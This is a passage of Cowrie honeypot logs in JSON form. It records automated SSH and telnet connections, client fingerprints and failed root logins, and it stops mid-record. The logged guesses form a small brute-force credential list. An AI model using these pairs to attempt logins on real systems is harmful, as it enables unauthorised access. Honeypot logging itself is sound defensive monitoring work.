{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:41.361512Z","src_ip":"119.28.117.200","session":"f8035dff0dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zbyszek","message":"login attempt [root/zbyszek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:42.377378Z","src_ip":"119.28.117.200","session":"f8035dff0dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":38902,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2bb587bd05","protocol":"ssh","message":"New connection: 163.227.230.54:38902 (159.203.135.109:22) [session: 0e2bb587bd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:42.843016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:42.848249Z","src_ip":"163.227.230.54","session":"0e2bb587bd05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:43.091892Z","src_ip":"163.227.230.54","session":"0e2bb587bd05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:43.626306Z","src_ip":"119.28.117.200","session":"f8035dff0dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicony","message":"login attempt [root/chicony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:44.095173Z","src_ip":"163.227.230.54","session":"0e2bb587bd05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:45.341609Z","src_ip":"163.227.230.54","session":"0e2bb587bd05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":56812,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9197377e78","protocol":"ssh","message":"New connection: 43.156.237.246:56812 (159.203.135.109:22) [session: cc9197377e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:50.259634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:50.263769Z","src_ip":"43.156.237.246","session":"cc9197377e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:50.504542Z","src_ip":"43.156.237.246","session":"cc9197377e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.804789543151855,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:51.072338Z","src_ip":"198.235.24.114","session":"fa4a37795bd9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"api123","message":"login attempt [root/api123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:51.495892Z","src_ip":"43.156.237.246","session":"cc9197377e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:52.736397Z","src_ip":"43.156.237.246","session":"cc9197377e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":53934,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aa0088ca6c8","protocol":"ssh","message":"New connection: 152.32.150.26:53934 (159.203.135.109:22) [session: 7aa0088ca6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:54.848436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:54.853690Z","src_ip":"152.32.150.26","session":"7aa0088ca6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:56.610469Z","src_ip":"152.32.150.26","session":"7aa0088ca6c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty123","message":"login attempt [root/123qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:56.641183Z","src_ip":"152.32.150.26","session":"7aa0088ca6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:57.655986Z","src_ip":"152.32.150.26","session":"7aa0088ca6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58862,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a53393d0915","protocol":"ssh","message":"New connection: 193.228.128.84:58862 (159.203.135.109:22) [session: 4a53393d0915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:02.183192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:02.196287Z","src_ip":"193.228.128.84","session":"4a53393d0915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:02.305521Z","src_ip":"193.228.128.84","session":"4a53393d0915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"567890","message":"login attempt [root/567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:02.614680Z","src_ip":"193.228.128.84","session":"4a53393d0915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":59012,"dst_ip":"159.203.135.109","dst_port":22,"session":"35029eaf28e9","protocol":"ssh","message":"New connection: 43.134.27.11:59012 (159.203.135.109:22) [session: 35029eaf28e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:03.039475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:03.044951Z","src_ip":"43.134.27.11","session":"35029eaf28e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:03.290275Z","src_ip":"43.134.27.11","session":"35029eaf28e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:03.719464Z","src_ip":"193.228.128.84","session":"4a53393d0915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariano","message":"login attempt [root/mariano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:04.303923Z","src_ip":"43.134.27.11","session":"35029eaf28e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55466,"dst_ip":"10.17.0.5","dst_port":23,"session":"59248d7e16f9","protocol":"telnet","message":"New connection: 192.119.13.58:55466 (10.17.0.5:23) [session: 59248d7e16f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:05.011511Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:05.563054Z","src_ip":"43.134.27.11","session":"35029eaf28e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":37144,"dst_ip":"159.203.135.109","dst_port":22,"session":"c621c78a7127","protocol":"ssh","message":"New connection: 115.178.75.242:37144 (159.203.135.109:22) [session: c621c78a7127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:07.147274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:07.152020Z","src_ip":"115.178.75.242","session":"c621c78a7127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:07.335093Z","src_ip":"115.178.75.242","session":"c621c78a7127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terraria123","message":"login attempt [root/terraria123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:08.084880Z","src_ip":"115.178.75.242","session":"c621c78a7127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":55724,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b983548a5d","protocol":"ssh","message":"New connection: 184.94.212.80:55724 (159.203.135.109:22) [session: 23b983548a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:08.826813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:08.832879Z","src_ip":"184.94.212.80","session":"23b983548a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:08.897722Z","src_ip":"184.94.212.80","session":"23b983548a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zbyszek","message":"login attempt [root/zbyszek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:09.185822Z","src_ip":"184.94.212.80","session":"23b983548a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:09.267731Z","src_ip":"115.178.75.242","session":"c621c78a7127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:10.253250Z","src_ip":"184.94.212.80","session":"23b983548a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.989480018615723,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:11.000834Z","src_ip":"192.119.13.58","session":"59248d7e16f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.81759309768677,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:11.987103Z","src_ip":"192.119.13.58","session":"dbc6feb6a514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":42428,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4300840062","protocol":"ssh","message":"New connection: 38.253.239.21:42428 (159.203.135.109:22) [session: ca4300840062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:19.667507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:19.671672Z","src_ip":"38.253.239.21","session":"ca4300840062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve